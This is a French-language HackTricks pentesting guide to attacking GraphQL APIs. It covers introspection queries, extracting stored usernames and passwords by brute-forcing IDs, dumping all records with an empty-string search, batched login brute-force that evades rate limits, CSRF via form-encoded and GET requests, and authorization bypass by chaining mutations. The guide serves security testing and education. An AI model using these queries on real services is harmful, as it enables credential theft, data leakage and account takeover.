hacktricks/network-services-pentesting/pentesting-web/graphql.md
2023-06-03 13:10:46 +00:00

374 lines
25 KiB
Markdown

# GraphQL
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Introduction
GraphQL agit comme une alternative à l'API REST. Les API REST nécessitent que le client envoie plusieurs requêtes à différents points de terminaison sur l'API pour interroger les données de la base de données backend. Avec GraphQL, vous n'avez besoin d'envoyer qu'une seule requête pour interroger le backend. C'est beaucoup plus simple car vous n'avez pas à envoyer plusieurs requêtes à l'API, une seule requête peut être utilisée pour collecter toutes les informations nécessaires.
## GraphQL
À mesure que de nouvelles technologies émergent, de nouvelles vulnérabilités apparaîtront également. Par **défaut**, GraphQL ne met pas en œuvre **l'authentification**, c'est au développeur de l'implémenter. Cela signifie que par défaut, GraphQL permet à n'importe qui de l'interroger, toute information sensible sera disponible pour les attaquants non authentifiés.
Lorsque vous effectuez vos attaques de force brute de répertoire, assurez-vous d'ajouter les chemins suivants pour vérifier les instances GraphQL.
* _/graphql_
* _/graphiql_
* _/graphql.php_
* _/graphql/console_
<figure><img src="../../.gitbook/assets/image (6) (1) (3).png" alt=""><figcaption></figcaption></figure>
Une fois que vous trouvez une instance GraphQL ouverte, vous devez savoir **quelles requêtes elle prend en charge**. Cela peut être fait en utilisant le système d'introspection, plus de détails peuvent être trouvés ici : [**GraphQL : un langage de requête pour les API.**\
Il est souvent utile de demander à un schéma GraphQL des informations sur les requêtes qu'il prend en charge. GraphQL nous permet de le faire...](https://graphql.org/learn/introspection/)
### Empreinte
L'outil [**graphw00f**](https://github.com/dolevf/graphw00f) est capable de détecter quelle moteur GraphQL est utilisé sur un serveur, puis imprime des informations utiles pour l'auditeur de sécurité.
### Énumération de base
Graphql prend généralement en charge GET, POST (x-www-form-urlencoded) et POST(json).
**query={\_\_schema{types{name,fields{name\}}\}}**
Avec cette requête, vous trouverez le nom de tous les types utilisés :
![](<../../.gitbook/assets/image (202).png>)
**query={\_\_schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind\}}\}}\}}}**
Avec cette requête, vous pouvez extraire tous les types, leurs champs et leurs arguments (et le type des arguments). Cela sera très utile pour savoir comment interroger la base de données.
![](<../../.gitbook/assets/image (207) (3).png>)
**Erreurs**
Il est intéressant de savoir si les **erreurs** vont être **affichées** car elles contribueront avec des informations utiles.
```
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
```
**Énumérer le schéma de la base de données via l'introspection**
GraphQL permet l'introspection de son schéma, ce qui signifie que vous pouvez récupérer des informations sur les types, les champs et les relations disponibles dans l'API. Cela peut être utile pour comprendre comment l'API est structurée et pour identifier les points d'entrée potentiels pour les attaques.
Pour récupérer le schéma de l'API, vous pouvez envoyer une requête GraphQL avec la requête suivante :
```
query {
__schema {
types {
name
fields {
name
}
}
}
}
```
Cela renverra une liste de tous les types disponibles dans l'API, ainsi que les champs disponibles pour chaque type. Vous pouvez utiliser ces informations pour identifier les types de données sensibles et les relations entre les différents types.
```
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
```
La dernière ligne de code est une requête graphql qui va extraire toutes les méta-informations du graphql (noms d'objets, paramètres, types...).
![](<../../.gitbook/assets/image (206).png>)
Si l'introspection est activée, vous pouvez utiliser [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) pour visualiser dans une interface graphique toutes les options.
### Interrogation
Maintenant que nous savons quel type d'informations est stocké dans la base de données, essayons d'**extraire certaines valeurs**.
Dans l'introspection, vous pouvez trouver **quel objet vous pouvez interroger directement** (car vous ne pouvez pas interroger un objet juste parce qu'il existe). Dans l'image suivante, vous pouvez voir que le "_queryType_" s'appelle "_Query_" et qu'un des champs de l'objet "_Query_" est "_flags_", qui est également un type d'objet. Par conséquent, vous pouvez interroger l'objet flag.
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-17-48.png)
Notez que le type de la requête "_flags_" est "_Flags_", et que cet objet est défini comme suit :
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-22-57.png)
Vous pouvez voir que les objets "_Flags_" sont composés de **name** et de **value**. Ensuite, vous pouvez obtenir tous les noms et valeurs des flags avec la requête :
```javascript
query={flags{name, value}}
```
Notez que dans le cas où l'**objet à interroger** est un **type primitif** comme une **chaîne de caractères** comme dans l'exemple suivant
![](<../../.gitbook/assets/image (441).png>)
Vous pouvez simplement l'interroger avec:
```javascript
query={hiddenFlags}
```
Dans un autre exemple où il y avait 2 objets à l'intérieur de l'objet "_Query_" : "_user_" et "_users_".\
Si ces objets n'ont pas besoin d'argument pour être recherchés, vous pouvez **récupérer toutes les informations** en demandant simplement les données que vous voulez. Dans cet exemple d'Internet, vous pourriez extraire les noms d'utilisateur et les mots de passe enregistrés :
![](<../../.gitbook/assets/image (208).png>)
Cependant, dans cet exemple, si vous essayez de le faire, vous obtenez cette **erreur** :
![](<../../.gitbook/assets/image (210).png>)
On dirait qu'il va chercher en utilisant l'argument "_**uid**_" de type _**Int**_.\
Quoi qu'il en soit, nous savions déjà cela, dans la section [Énumération de base](graphql.md#basic-enumeration), une requête a été proposée qui nous montrait toutes les informations nécessaires : `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
Si vous lisez l'image fournie lorsque j'exécute cette requête, vous verrez que "_**user**_" avait l'**arg** "_**uid**_" de type _Int_.
Ainsi, en effectuant une légère bruteforce de _**uid**_, j'ai découvert qu'avec _**uid**=**1**_, un nom d'utilisateur et un mot de passe ont été récupérés :\
`query={user(uid:1){user,password}}`
![](<../../.gitbook/assets/image (211).png>)
Notez que j'ai **découvert** que je pouvais demander les **paramètres** "_**user**_" et "_**password**_" parce que si j'essaie de chercher quelque chose qui n'existe pas (`query={user(uid:1){noExists}}`), j'obtiens cette erreur :
![](<../../.gitbook/assets/image (213).png>)
Et pendant la phase d'**énumération**, j'ai découvert que l'objet "_**dbuser**_" avait comme champs "_**user**_" et "_**password**_".
**Astuce de vidage de chaîne de requête (merci à @BinaryShadow\_)**
Si vous pouvez rechercher par un type de chaîne, comme : `query={theusers(description: ""){username,password}}` et que vous **recherchez une chaîne vide**, cela **déversera toutes les données**. (_Notez que cet exemple n'est pas lié à l'exemple des tutoriels, pour cet exemple, supposez que vous pouvez rechercher en utilisant "**theusers**" par un champ String appelé "**description**"_).
GraphQL est une technologie relativement nouvelle qui commence à gagner du terrain parmi les startups et les grandes entreprises. Outre l'absence d'authentification par défaut, les points d'extrémité graphQL peuvent être vulnérables à d'autres bugs tels que l'IDOR.
### Recherche
Pour cet exemple, imaginez une base de données avec des **personnes** identifiées par l'e-mail et le nom et des **films** identifiés par le nom et la note. Une **personne** peut être **amie** avec d'autres **personnes** et une personne peut **avoir des films**.
Vous pouvez **rechercher** des personnes **par** le **nom** et obtenir leurs e-mails :
```javascript
{
searchPerson(name: "John Doe") {
email
}
}
```
Vous pouvez **rechercher** des personnes **par** leur **nom** et obtenir les **films** auxquels elles sont **abonnées** :
```javascript
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}
```
Notez comment il est indiqué de récupérer le `nom` des `subscribedMovies` de la personne.
Vous pouvez également **rechercher plusieurs objets en même temps**. Dans ce cas, une recherche de 2 films est effectuée:
```javascript
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r
```
Ou même **les relations de plusieurs objets différents en utilisant des alias**:
```javascript
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}
```
### Mutations
**Les mutations sont utilisées pour effectuer des modifications côté serveur.**
Dans l'**introspection**, vous pouvez trouver les **mutations déclarées**. Dans l'image suivante, le "_MutationType_" est appelé "_Mutation_" et l'objet "_Mutation_" contient les noms des mutations (comme "_addPerson_" dans ce cas) :
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-26-27.png)
Pour cet exemple, imaginez une base de données avec des **personnes** identifiées par leur adresse e-mail et leur nom et des **films** identifiés par leur nom et leur note. Une **personne** peut être **amie** avec d'autres **personnes** et une personne peut **avoir des films**.
Une mutation pour **créer de nouveaux** films dans la base de données peut ressembler à celle-ci (dans cet exemple, la mutation est appelée `addMovie`) :
```javascript
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}
```
**Notez comment les valeurs et le type de données sont indiqués dans la requête.**
Il peut également y avoir une **mutation** pour **créer** des **personnes** (appelée `addPerson` dans cet exemple) avec des amis et des fichiers (notez que les amis et les films doivent exister avant de créer une personne liée à eux):
```javascript
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}
```
### Brute-force en lot dans une seule requête API
Cette information a été prise sur [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
L'authentification via l'API GraphQL avec **l'envoi simultané de nombreuses requêtes avec des identifiants différents** pour les vérifier. C'est une attaque de force brute classique, mais maintenant il est possible d'envoyer plus d'une paire de login/mot de passe par requête HTTP en raison de la fonctionnalité de regroupement de GraphQL. Cette approche tromperait les applications de surveillance de taux externes en leur faisant croire que tout va bien et qu'il n'y a pas de bot de force brute essayant de deviner les mots de passe.
Ci-dessous, vous pouvez trouver la démonstration la plus simple d'une demande d'authentification d'application, avec **3 paires d'adresses e-mail/mot de passe différentes à la fois**. Évidemment, il est possible d'envoyer des milliers de demandes en une seule fois de la même manière :
![](<../../.gitbook/assets/image (182) (1).png>)
Comme nous pouvons le voir sur la capture d'écran de la réponse, les premières et troisièmes requêtes ont renvoyé _null_ et ont reflété les informations correspondantes dans la section _error_. La **deuxième mutation avait les données d'authentification correctes** et la réponse avait le jeton de session d'authentification correct.
![](<../../.gitbook/assets/image (119) (1).png>)
## GraphQL sans introspection
De plus en plus de **points de terminaison graphql désactivent l'introspection**. Cependant, les erreurs que graphql lance lorsqu'une demande inattendue est reçue sont suffisantes pour que des outils comme [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) puissent recréer la plupart du schéma.
De plus, l'extension de Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observe les requêtes d'API GraphQL passant par Burp** et **construit** un schéma GraphQL interne avec chaque nouvelle requête qu'elle voit. Il peut également exposer le schéma pour GraphiQL et Voyager. L'extension renvoie une fausse réponse lorsqu'elle reçoit une requête d'introspection. En conséquence, GraphQuail montre toutes les requêtes, arguments et champs disponibles pour une utilisation dans l'API. Pour plus d'informations, [**consultez ceci**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
## CSRF dans GraphQL
Si vous ne savez pas ce qu'est CSRF, lisez la page suivante :
{% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %}
[csrf-cross-site-request-forgery.md](../../pentesting-web/csrf-cross-site-request-forgery.md)
{% endcontent-ref %}
Vous pouvez trouver plusieurs points de terminaison GraphQL **configurés sans jetons CSRF.**
Notez que les demandes GraphQL sont généralement envoyées via des demandes POST en utilisant le type de contenu **`application/json`**.
```javascript
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
```
Cependant, la plupart des points d'extrémité GraphQL prennent également en charge les requêtes POST **`form-urlencoded` :**
```javascript
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
```
Par conséquent, comme les demandes CSRF comme les précédentes sont envoyées **sans demandes de pré-vol**, il est possible de **réaliser** des **changements** dans le GraphQL en abusant d'un CSRF.
Cependant, notez que la nouvelle valeur par défaut du cookie `samesite` de Chrome est `Lax`. Cela signifie que le cookie ne sera envoyé que depuis un site tiers dans les demandes GET.
Notez également qu'il est généralement possible d'envoyer la **requête de** **requête** également en tant que **requête GET et que le jeton CSRF pourrait ne pas être validé dans une requête GET.**
De plus, en abusant d'une **attaque XS-Search**, il pourrait être possible d'exfiltrer du contenu de l'extrémité GraphQL en abusant des informations d'identification de l'utilisateur.
Pour plus d'informations, **consultez le** [**post original ici**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
## Autorisation dans GraphQL
De nombreuses fonctions GraphQL définies sur l'extrémité peuvent ne vérifier que l'authentification du demandeur mais pas l'autorisation.
La modification des variables d'entrée de la requête pourrait entraîner la **fuite** de détails de compte sensibles [leaked](https://hackerone.com/reports/792927).
La mutation pourrait même entraîner la prise de contrôle du compte en essayant de modifier les données d'autres comptes.
```javascript
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
```
### Contourner l'autorisation dans GraphQL
En enchaînant des requêtes, il est possible de contourner un système d'authentification faible.
Dans l'exemple ci-dessous, on peut voir que l'opération est "forgotPassword" et qu'elle ne devrait exécuter que la requête forgotPassword associée. Cependant, il est possible de la contourner en ajoutant une requête à la fin, dans ce cas, nous ajoutons "register" et une variable utilisateur pour que le système s'enregistre en tant que nouvel utilisateur.
<figure><img src="../../.gitbook/assets/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
## Structures GraphQL divulguées
Si l'introspection est désactivée, essayez de regarder le code source du site web. Les requêtes sont souvent préchargées dans le navigateur sous forme de bibliothèques JavaScript. Ces requêtes pré-écrites peuvent révéler des informations puissantes sur le schéma et l'utilisation de chaque objet et fonction. L'onglet `Sources` des outils de développement peut rechercher tous les fichiers pour énumérer où les requêtes sont enregistrées. Parfois, même les requêtes protégées par l'administrateur sont déjà exposées.
```javascript
Inspect/Sources/"Search all files"
file:* mutation
file:* query
```
## Outils
### Scanners de vulnérabilités
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler) : Boîte à outils qui peut être utilisée pour récupérer des schémas et rechercher des données sensibles, tester l'autorisation, forcer les schémas et trouver des chemins vers un type donné.
* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html) : Peut être utilisé en tant que standalone ou [extension Burp](https://github.com/doyensec/inql).
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap) : Peut être utilisé en tant que client CLI pour automatiser les attaques.
* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum) : Outil qui répertorie les différentes façons d'atteindre un type donné dans un schéma GraphQL.
### Clients
* [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql) : Client GUI
* [https://altair.sirmuel.design/](https://altair.sirmuel.design/) : Client GUI
### Tests automatiques
{% embed url="https://graphql-dashboard.herokuapp.com/" %}
* Vidéo expliquant AutoGraphQL : [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
## Références
* [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/)
* [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
* [**https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4**](https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4)
* [**http://ghostlulz.com/api-hacking-graphql/**](http://ghostlulz.com/api-hacking-graphql/)
* [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.m**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md)
* [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>